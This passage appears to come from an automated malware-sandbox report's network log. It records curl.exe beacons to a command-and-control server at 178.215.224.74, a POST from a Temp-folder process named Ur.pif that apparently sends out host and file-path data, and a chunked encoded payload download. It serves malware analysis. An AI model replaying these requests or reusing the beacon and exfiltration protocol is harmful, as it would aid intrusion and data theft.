JzaC91NnZTVCdoT0VkZ3BPKzF3Yk9aWn9sRWFNZDdBMnRFUGBpU015YXVyc2NrYkc6UHZFSmZAcnNTVHpdMG5zNjRMbDBDcEl8ZFYvOExwR280Z3cxbGhtZVdBZVU3YjRqZHZnYzVrTEQ2XWVZcj9oSDxYaE9qMVZ4dS0nI1Itb3RRbjJ0MjhmcFZ6WFVIWHFYQ
Nov 21, 2024 20:00:21.784445047 CET	1236	IN	Data Raw: 31 52 42 63 48 5a 6e 5a 69 74 54 62 6a 51 7a 61 6b 46 6f 54 31 6f 31 54 7a 41 31 4b 30 51 77 51 54 31 36 4f 46 56 53 54 55 78 63 64 46 4e 78 56 6e 68 45 52 31 52 79 51 57 51 70 4e 30 49 36 56 54 56 6d 5a 57 5a 31 61 6e 74 42 51 57 74 49 4e 33 70 Data Ascii: 1RBcHZnZitTbjQzakFoT1o1TzA1K0QwQT16OFVSTUxcdFNxVnhER1RyQWQpN0I6VTVmZWZ1antBQWtIN3pKeGU5SzBJMGQ5b1I1cFpaZERUTnZ6S0dvMUdGdHZ2PEVQempkLTBMUm5hNmBEM0BsR3RIdEsyNjV6Z0VwVFE3L3U1elA2dTRDaXszTDlqRDQ0cVhuNDN4OHgzXkpMSnJmRFhPbGVsM3p7TjJ5UVdFM1RvQUNtM2lW
Nov 21, 2024 20:00:21.784476042 CET	1236	IN	Data Raw: 6d 31 61 4b 57 63 7a 54 46 68 42 56 55 52 4a 59 57 6b 37 4f 45 42 49 59 57 31 48 51 7a 4a 57 55 6c 4d 33 54 6c 56 6e 61 6d 74 49 62 58 68 46 51 55 6c 75 62 53 74 49 56 56 46 50 54 54 45 30 63 57 41 77 5a 58 6f 31 65 48 46 55 4e 45 35 7a 55 6b 4e Data Ascii: m1aKWczTFhBVURJYWk7OEBIYW1HQzJWUlM3TlVnamtIbXhFQUlubStIVVFPTTE0cWAwZXo1eHFUNE5zUkNLQ0A+Q21qbVFSNThMWUNsSElaZElpN2l6UGZhc2hoY25wRXMwVmRyMT1zZkpEa3JKUGEzNTMtSHllY2FcVUxEPWZDSnIxW1NRTlgrayNBUXZZLWhEWkJ1MlZBbkNWcEw2RWRtVDFYTitMYlAwZEloaWcycjhGS3Rl
Nov 21, 2024 20:00:21.784501076 CET	1236	IN	Data Raw: 30 4a 58 4f 56 6c 6e 4d 79 39 34 62 30 64 6f 61 57 4a 55 53 33 64 49 4e 7a 56 6e 62 6c 4a 47 55 55 6c 4c 61 57 68 30 5a 33 74 44 52 44 74 6e 54 58 49 32 64 6c 74 51 5a 6c 64 73 53 6c 70 50 55 6c 46 32 4f 47 51 72 5a 55 74 7a 58 6d 31 75 65 55 4a Data Ascii: 0JXOVlnMy94b0doaWJUS3dINzVnblJGUUlLaWh0Z3tDRDtnTXI2dltQZldsSlpPUlF2OGQrZUtzXm1ueUJjajVOUXVmWkFtO2pve014ZURnUU1UUFVjS0EwUX5hWVN4UUVjeFpKejJ7RiszcXApMG5AOG9jMElLeE1vRXpuVmwzajVRZjllMm9OWil3ZkxqVmE0OWlqWHdFODJlZHlEcVcwci9LTVZvak45ZT5kTE8wcDFhVThD
Nov 21, 2024 20:00:21.784533978 CET	1236	IN	Data Raw: 6e 52 53 57 58 42 56 63 54 59 33 51 54 59 33 62 55 42 73 57 6b 35 75 54 30 31 79 61 7a 68 6e 4e 46 52 4c 5a 48 64 68 64 6d 5a 42 62 6b 5a 78 54 56 6b 32 61 45 78 6e 65 55 64 4d 64 6a 67 77 51 55 52 4a 54 47 74 6a 63 57 64 4c 59 53 39 49 53 30 6c Data Ascii: nRSWXBVcTY3QTY3bUBsWk5uT01yazhnNFRLZHdhdmZBbkZxTVk2aExneUdMdjgwQURJTGtjcWdLYS9IS0l1cWc6aXtYU1tbLVZna3VYfTNkRWVHTXhGSU1FSzMwbVFFLU04RkZ0bjJTQkF2RjlnZmY3TUxrNzNTS0hRc0MzVDVHTSk6d3BrbWhXTVZnZ0Y3c2kpZG1FdTkrakFoSkZEYUx1SWNVa3FHUU5DMzpDc1RudWVwTW46
Nov 21, 2024 20:00:21.784562111 CET	1236	IN	Data Raw: 47 4e 51 4e 6d 70 77 4f 47 4a 4b 56 33 46 4a 59 57 68 6d 5a 6c 45 76 54 32 46 76 65 45 52 78 61 47 5a 53 65 6b 56 48 4d 47 34 34 50 32 56 73 63 44 5a 59 52 32 56 6f 56 44 74 4d 65 7a 73 78 61 31 4e 75 65 6b 63 31 52 57 31 4e 4c 7a 46 46 52 58 68 Data Ascii: GNQNmpwOGJKV3FJYWhmZlEvT2FveERxaGZSekVHMG44P2VscDZYR2VoVDtMezsxa1Nuekc1RW1NLzFFRXhKZjd2UHVKRTlnZVFSNTVoVnF7UnA2R01JdzJ6RXZPI2tVd0F1TCNuSWtTM1BjdC1QRTBYS3REalBPR00walNqR3ZUaXJYe2xORVg1WkxPbkJtMy8xaWVub2x7Y0ticGlRWkpEWEpPWmBtV086MitBJ3JOVFNHRlps
Nov 21, 2024 20:00:21.784573078 CET	1236	IN	Data Raw: 58 46 72 53 6c 5a 51 4f 58 56 53 63 44 52 45 4e 47 78 55 52 69 64 4d 5a 33 52 57 57 6b 46 6a 64 46 4a 53 64 46 6b 79 62 45 52 45 51 33 64 6f 63 47 70 33 63 54 4e 45 56 6e 39 73 5a 55 38 76 61 58 51 30 61 57 74 6f 54 32 4e 41 54 6a 4e 33 59 54 70 Data Ascii: XFrSlZQOXVScDRENGxURidMZ3RWWkFjdFJSdFkybEREQ3docGp3cTNEVn9sZU8vaXQ0aWtoT2NATjN3YTpdaXMwP1pwQ0pxd3BjUk96SkY7UWxLdVFXOTZJT3o4WFBZTzUwS3Q3ZHZEYWRRMW90dEdLYy0pbWxPQzUrQ2JLXU14d1I6ZXI5U1g2WmNXM3JERmp6OVpPS3hrZDd3RDNabHFYLU9pdUV0RmQ0I1Zbdy83UFVbengr
Nov 21, 2024 20:00:21.784579992 CET	1236	IN	Data Raw: 45 39 59 4b 55 70 7a 4f 6b 68 4d 57 57 6f 35 5a 57 46 49 4d 55 67 77 62 79 39 75 57 7a 64 49 53 6c 68 61 4e 30 30 77 59 32 74 59 4b 30 70 2b 4b 56 64 47 61 43 6c 61 53 6a 46 32 53 32 70 76 58 32 35 72 59 48 70 4e 53 48 63 32 4e 6b 6c 32 56 56 35 Data Ascii: E9YKUpzOkhMWWo5ZWFIMUgwby9uWzdISlhaN00wY2tYK0p+KVdGaClaSjF2S2pvX25rYHpNSHc2Nkl2VV5HVXM3RzF6NC1HMy9oWXpHMFFQK2w4YGcxejpgZDNvMjtSV2IyblByJ0N1MEp0UFA3b3A7WDtXbDg3U2ZEWVYwNVMxWGxyWlMyMkE4QU9kZVFHbGprTFRpblZzVGthS1k1blhoRzh1RTpCNkVzWldaY3FCf09OU2xU
Nov 21, 2024 20:00:21.784584999 CET	1236	IN	Data Raw: 46 46 79 61 54 39 4d 61 30 39 58 57 6c 59 31 55 6a 4e 48 55 6e 70 79 59 43 6c 6c 59 6d 74 47 59 31 4a 35 4c 33 4a 74 4f 58 55 76 54 33 56 54 54 54 64 6f 4d 53 74 35 5a 33 5a 71 63 45 68 62 59 54 4d 30 63 57 55 37 4e 6d 56 76 61 30 35 79 51 33 70 Data Ascii: FFyaT9Ma09XWlY1UjNHUnpyYCllYmtGY1J5L3JtOXUvT3VTTTdoMSt5Z3ZqcEhbYTM0cWU7NmVva05yQ3pROzBbRlNlNUFCazBITjFwVWNOfGZPY3JUSTltcW14W0k7TXl0cjI4dUtRVGUxRjFvcUk5dmFac3NwaTAwO29kVG5ybUJCb2lXSTRDanBvd0lDM3twVVpLa1lncEpUS1B+TmV3YWxTcXpOUENwaVlDcnBmSE5WTmVk
Nov 21, 2024 20:00:21.784588099 CET	1236	IN	Data Raw: 31 42 47 55 6b 56 79 56 45 4e 51 62 6a 68 4b 4e 57 68 36 54 45 31 31 57 6b 46 70 51 6c 70 77 61 55 45 79 65 32 4e 5a 62 56 5a 71 57 31 46 77 55 55 56 75 62 44 68 68 61 53 6c 36 51 46 45 78 53 6b 74 52 66 58 56 42 52 6d 5a 59 61 6c 64 4c 5a 46 4a Data Ascii: 1BGUkVyVENQbjhKNWh6TE11WkFpQlpwaUEye2NZbVZqW1FwUUVubDhhaSl6QFExSktRfXVBRmZYaldLZFJkQVVPUW5UWkQrNG1pbTJtYklkVEdLbUVwT2NSYWU6SmM4bnFzK1BOaVFwR0dzdi1HMkNyOVFOYWlwWnEzbWFLS2phamlwWnZVbUdzUDFjSG92NUlrVHRhNFZzeFZDOm1tdk9ARXFjOVBJYmhOUzAzZGRDZWJlYVVi
Nov 21, 2024 20:00:21.906269073 CET	1236	IN	Data Raw: 31 67 34 56 45 39 79 66 54 52 47 65 6b 31 68 62 31 68 62 55 48 46 35 64 6a 68 77 61 55 51 34 61 57 6c 74 64 30 4a 56 4d 30 5a 4f 4e 7a 6c 49 61 45 39 4c 56 57 46 55 57 58 56 4c 51 55 52 43 63 46 63 33 55 48 64 67 59 6c 46 4c 64 46 51 36 59 57 74 Data Ascii: 1g4VE9yfTRGek1hb1hbUHF5djhwaUQ4aWltd0JVM0ZONzlIaE9LVWFUWXVLQURCcFc3UHdgYlFLdFQ6YWtmcEtIUlc0Qm1DSmZqO2tDa2VER0tybjNVM2tPVXdQOVVFT1svdUkxO0N5VjdWNVI4bjhEeFMwUTVHVkswZU06WEUvT2lDUlpNUVJZOGhyeFZAdytra1w3cHlVNFJVL0R2aDhhZGp1R01ha0llZGx1Mk5kaFUvayl6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49854	178.215.224.74	80	2336	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:26.193878889 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:27.456290960 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:27 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49859	178.215.224.74	80	6192	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:27.837408066 CET	98	OUT	GET /v10/ukyh.php?jspo=31 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:29.194426060 CET	230	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:28 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 30 Content-Type: text/html; charset=UTF-8 Data Raw: 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 Data Ascii: 9A5605DE11447A0E2031624EE8FBDE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49870	178.215.224.74	80	6264	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:32.550404072 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:33.851232052 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:33 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49874	178.215.224.74	80	2476	C:\Users\user\AppData\Local\Temp\139918\Ur.pif

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:34.071444988 CET	919	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 625 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 6a 45 38 4b 45 45 79 58 46 64 78 5a 33 42 78 58 6d 70 74 5a 6d 31 78 58 6b 46 79 63 45 52 68 64 47 46 63 55 47 64 6a 62 57 6c 75 5a 56 35 45 62 32 35 77 61 47 6c 73 52 48 31 74 63 6e 46 63 4d 6a 73 79 4d 6a 4a 48 4d 6a 49 76 4d 6b 4d 77 4d 43 38 38 4e 7a 45 7a 4a 54 51 78 53 6a 6c 5a 51 6c 38 7a 4d 6a 49 71 4d 7a 67 34 4f 7a 45 71 64 57 6c 75 5a 47 39 33 63 79 4a 73 5a 32 5a 6c 62 6d 5a 6e 63 6c 74 43 58 54 45 77 4d 69 6f 35 4d 44 49 7a 4d 43 6f 7a 4e 7a 6f 73 4d 44 45 33 4c 44 41 79 4e 43 34 77 50 54 42 62 51 46 55 7a 4d 6a 67 71 4d 7a 49 79 4d 7a 41 6f 4d 54 55 77 4a 6a 41 7a 4e 53 77 79 4d 6a 51 75 4e 7a 52 5a 53 46 38 78 4d 44 41 6f 4d 7a 41 77 4d 7a 45 71 4d 54 55 34 4a 6a 49 7a 4e 79 34 79 4d 44 51 73 4e 54 5a 62 51 6c 38 77 4b 6a 49 77 4e 79 4a 42 4f 6c 78 64 63 57 64 36 63 31 35 6f 62 57 78 6e 63 56 78 44 65 48 68 47 59 [TRUNCATED] Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAwKDkyMjE8KEEyXFdxZ3BxXmptZm1xXkFycERhdGFcUGdjbWluZV5Eb25waGlsRH1tcnFcMjsyMjJHMjIvMkMwMC88NzEzJTQxSjlZQl8zMjIqMzg4OzEqdWluZG93cyJsZ2ZlbmZncltCXTEwMio5MDIzMCozNzosMDE3LDAyNC4wPTBbQFUzMjgqMzIyMzAoMTUwJjAzNSwyMjQuNzRZSF8xMDAoMzAwMzEqMTU4JjIzNy4yMDQsNTZbQl8wKjIwNyJBOlxdcWd6c15obWxncVxDeHhGY3RjXFJvYW1pbG9eRG9scmppbkZ1bXBxXGl6dHUuZXplWUJfMTIyKDEwMDM5KDE3MCwwOTUsMDA2LDU0WUhVMCgyMjUqQzpcVXFtcHNcam1sZXNeQXBwRmF8YV5Qb2FvaWxlXkRtbnJoaW5GfW9wc1R6an9xLHhrcllCXTM4OCgzMDMyMypDOlxXe2dyc1xobW5lcVxBcHJEaXRjXlJvY21rbGVcRm1ucGhpbEx3bXB7Xnpgd3MseGtyWUBfOTgyKDEyMDExKjE3OiYwMTUuMDA0LjU0W0Bf
Nov 21, 2024 20:00:35.392931938 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:35 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49878	178.215.224.74	80	5828	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:35.630002975 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:36.887707949 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:36 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49884	178.215.224.74	80	5172	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:37.458591938 CET	97	OUT	GET /v10/ukyh.php?jspo=7 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:38.762130976 CET	299	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:38 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 76 Content-Type: text/html; charset=UTF-8 Data Raw: 57 30 42 64 57 55 68 66 57 30 42 56 57 55 4a 56 5a 6d 4e 75 63 57 64 5a 51 6c 31 6b 61 57 52 78 5a 31 74 43 58 56 4a 6c 64 6d 56 75 64 32 31 47 5a 58 5a 70 59 57 64 7a 4c 6d 64 34 5a 53 6f 7a 57 30 68 64 4d 7a 49 71 57 30 4a 64 Data Ascii: W0BdWUhfW0BVWUJVZmNucWdZQl1kaWRxZ1tCXVJldmVud21GZXZpYWdzLmd4ZSozW0hdMzIqW0Jd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49889	178.215.224.74	80	4476	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:39.184595108 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:40.498481035 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:40 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49893	178.215.224.74	80	772	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:40.852935076 CET	105	OUT	GET /v10/ukyh.php?jspo=10&melq=1 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:42.165889025 CET	328	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:41 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 104 Content-Type: text/html; charset=UTF-8 Data Raw: 55 6d 56 32 5a 32 5a 33 5a 55 52 74 64 47 74 72 5a 58 45 73 5a 33 70 6e 4b 46 4a 6e 66 6d 31 73 64 32 56 47 5a 58 5a 70 59 32 56 7a 4c 47 31 36 5a 53 6f 32 4b 44 4d 71 4b 6d 41 30 4f 44 64 67 4e 57 6f 31 4d 7a 59 7a 4e 6d 41 30 4d 44 63 31 4e 6d 59 30 4d 6d 45 78 5a 6d 63 39 4f 6d 59 34 4f 7a 73 37 49 6a 41 3d Data Ascii: UmV2Z2Z3ZURtdGtrZXEsZ3pnKFJnfm1sd2VGZXZpY2VzLG16ZSo2KDMqKmA0ODdgNWo1MzYzNmA0MDc1NmY0MmExZmc9OmY4Ozs7IjA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49897	178.215.224.74	80	4280	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:42.757563114 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:44.111241102 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:43 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49903	178.215.224.74	80	6696	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:44.447386026 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:45.808995008 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:45 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49909	178.215.224.74	80	1508	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:46.195420980 CET	128	OUT	GET /v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:47.715118885 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:47 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 33 66 65 63 0d 0a 56 46 5a 78 55 30 6c 44 54 55 46 4a 51 30 4e 4e 51 55 4e 44 51 79 30 74 4f 6b 46 44 52 47 39 44 51 30 46 44 51 55 46 42 51 55 46 52 51 30 6c 44 51 55 46 42 51 30 4e 42 51 55 4e 42 51 55 46 44 51 55 6c 42 51 30 4e 42 51 55 4e 42 51 30 4e 44 51 55 4e 44 51 30 46 42 51 55 4e 4a 51 30 46 42 53 55 4e 44 53 55 46 44 51 30 4d 79 51 30 4e 42 51 30 6b 38 5a 48 64 6e 4e 6b 46 30 51 57 35 4f 53 57 42 76 51 46 52 4e 4d 47 70 55 52 32 68 79 59 33 6c 43 64 57 4e 6c 4f 57 78 68 62 55 5a 32 53 55 56 4d 61 6d 4a 76 4e 33 52 6b 51 30 4a 72 55 6c 46 43 65 57 78 56 4e 6d 39 68 56 54 5a 6c 55 45 63 37 56 45 74 50 4f 58 52 59 52 31 64 31 52 46 45 77 53 30 70 44 53 55 4e 42 51 55 46 44 51 30 46 43 51 47 55 35 52 6e 42 43 57 6e 45 74 54 55 46 56 59 33 5a 34 5a 55 52 48 63 44 6f 32 52 45 64 4a 4f 6b 64 44 57 57 46 2b 65 47 56 46 57 57 74 31 4e 6b 52 41 63 79 39 4e 53 56 31 6a 64 47 70 72 63 45 64 79 4f 44 52 49 62 57 74 55 54 30 46 72 59 33 52 36 5a 32 64 6f 65 56 55 32 51 6b 70 78 4c 55 31 43 4e 6b [TRUNCATED] Data Ascii: 1f3fecVFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0MyQ0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FCQGU5RnBCWnEtTUFVY3Z4ZURHcDo2REdJOkdDWWF+eGVFWWt1NkRAcy9NSV1jdGprcEdyODRIbWtUT0FrY3R6Z2doeVU2QkpxLU1CNkpJaGVHR3A6NlVtbGhpQ1VhfnhlSUFDQ0NDQ0NBQ05KRENBQE1BUVlBMndCSlR3QUNDQUFDQUFBQzRJQUFDUXNAQ2VDQ2JlQ0NBRllKSUNCQ0lDQUxPQ0NDQ0BDQUNJS0NDQUNBQUVBQUFASUNBQUFBQ0FBREFBQUNCb0FDQ0FVQ0FDQ0NBQ0NDQVBBUklDQUVJQ0Z8Z0BLQ0NlQEFqWUlDR0FDQUVBQUFBQ0lTQUFBU0NBQUNBQUFDRUlBQ0NBQUNBQ0NDQUNDQ05Kc0NJTlFBSUNDSVFDOkNhckdBQ0lJQ0NBQ0FBQUFBakpFUEFHZ21DQUFDb0FjQ1pJa0NDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FDQ0FDRlNBZUNDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFMbFpuZUhRQ0NBQ3diUUFDQUpBQ0NBQndBQ0NDQkNDQ0FBQUNJQ0FBSUNDSUFDQ0NLQ0NBW0s9e1hHRDBZUUFBWWtnQ0FBQ0NDQUFDTEFBQ0FASUNDQUFDQUNDQ0FDQ0NBQUFDSUdBQUlHQ31aRUQyW1NDQUNEcClAZ0NBc0FBQUFDQUNBQUNnQ0FBQ
Nov 21, 2024 20:00:47.715156078 CET	1236	IN	Data Raw: 30 46 42 51 55 4e 42 53 55 46 44 51 30 46 42 51 30 46 44 51 45 4e 42 51 30 5a 44 54 47 30 31 61 56 46 61 55 6d 68 4a 51 30 4e 4a 52 55 4e 6c 51 30 4e 47 51 30 68 44 53 55 6c 44 51 30 46 44 51 55 46 42 51 55 46 42 51 30 6c 44 51 55 46 42 51 30 4e Data Ascii: 0FBQUNBSUFDQ0FBQ0FDQENBQ0ZDTG01aVFaUmhJQ0NJRUNlQ0NGQ0hDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDZ0lBQ3VDNXtjMUhoQUNDQ2NwRUNJQ0JBTHVDSWtlQ0NDSUNBQ0lJQ0NBQ0FBQUFBQUNJQ0FFQUNDRUF3Y21WcWI6TUNDRElSQUNDQzRDOkNBQkFDSUNBNklTQ0lBQ0NDQ0NDQUNJSUNDQUBBQUFCQ0FD
Nov 21, 2024 20:00:47.715169907 CET	1236	IN	Data Raw: 6d 4e 56 55 6a 73 7a 52 6c 49 36 56 6d 39 42 51 6b 4e 44 55 44 73 78 52 6c 41 76 56 47 63 79 55 47 31 43 52 47 77 37 4e 45 45 72 54 32 4a 32 4c 79 30 76 50 45 34 70 56 56 41 35 4d 6c 70 6b 4f 7a 42 4f 55 6a 70 55 56 45 6c 43 51 30 6c 4c 62 45 5a Data Ascii: mNVUjszRlI6Vm9BQkNDUDsxRlAvVGcyUG1CRGw7NEErT2J2Ly0vPE4pVVA5MlpkOzBOUjpUVElCQ0lLbEZOS1pJZERVTmRTenFDXm5KUGVTUUFBQUF4MlBtQ0FBQ0NQOFRVSUJDQVg5MFVGZi1GVFFDUUNGLWRSU05GVGlBWUNAUC87WG1LQ2VBQ0FkREZJM0Y1RkJxLzBiQ3JVWUNULzhUbklKQ0FYOTNGRmYtMXQ7M0ZSLVZq
Nov 21, 2024 20:00:47.715235949 CET	1236	IN	Data Raw: 31 46 70 51 30 39 30 62 57 6b 77 57 6e 42 31 51 6e 64 47 51 6d 52 44 64 6c 4a 31 51 55 5a 50 51 55 59 79 55 45 52 45 62 7a 31 6c 52 30 6c 42 52 6a 45 74 4c 53 30 37 4c 32 5a 4f 58 6c 4d 30 54 47 51 76 4c 79 38 72 52 6e 64 4b 58 55 64 52 52 57 4a Data Ascii: 1FpQ090bWkwWnB1QndGQmRDdlJ1QUZPQUYyUEREbz1lR0lBRjEtLS07L2ZOXlM0TGQvLy8rRndKXUdRRWJwQDBpTnpvdnVLMEdGZENRT0FKU3RBU1VxclVZQ2llRC9GY1F8UmVAbU9KV0FDWDAzcEszR0FQOFZVS05DQUZCbUNnUUNBUDkySkpqLURZaUFRQ0FEOWxvV004Qmd/ZWdBfVItJy8xLXA7W3ZFSElbTkZkdXRSd0Jx
Nov 21, 2024 20:00:47.715245962 CET	1236	IN	Data Raw: 6c 70 47 4a 31 5a 76 61 30 4e 6f 4d 6b 4e 42 4e 45 77 78 54 30 4e 42 51 46 70 58 56 6b 35 58 4e 6b 5a 4d 4f 79 38 76 4c 33 4a 6b 51 6d 39 44 51 55 5a 51 62 54 56 59 4d 79 30 74 4d 55 4a 74 57 55 73 37 51 30 46 4e 5a 57 56 55 51 55 46 44 58 31 52 Data Ascii: lpGJ1Zva0NoMkNBNEwxT0NBQFpXVk5XNkZMOy8vL3JkQm9DQUZQbTVYMy0tMUJtWUs7Q0FNZWVUQUFDX1RsVCcxWl02TVM2Q0NGcFdKZ0NDRFJKNkt6OS8tI044RlptVkk5Q0FPajpTf0FDVVZtRi9lRC1BeFIwUmxiLU5beUFZQ0Z4SmptQ0NFZXdoOElDNE56TEFBQlovMVAyL3hWQ2VrQUM2UTBjQUlDTnVqbGYzSlduaXV7
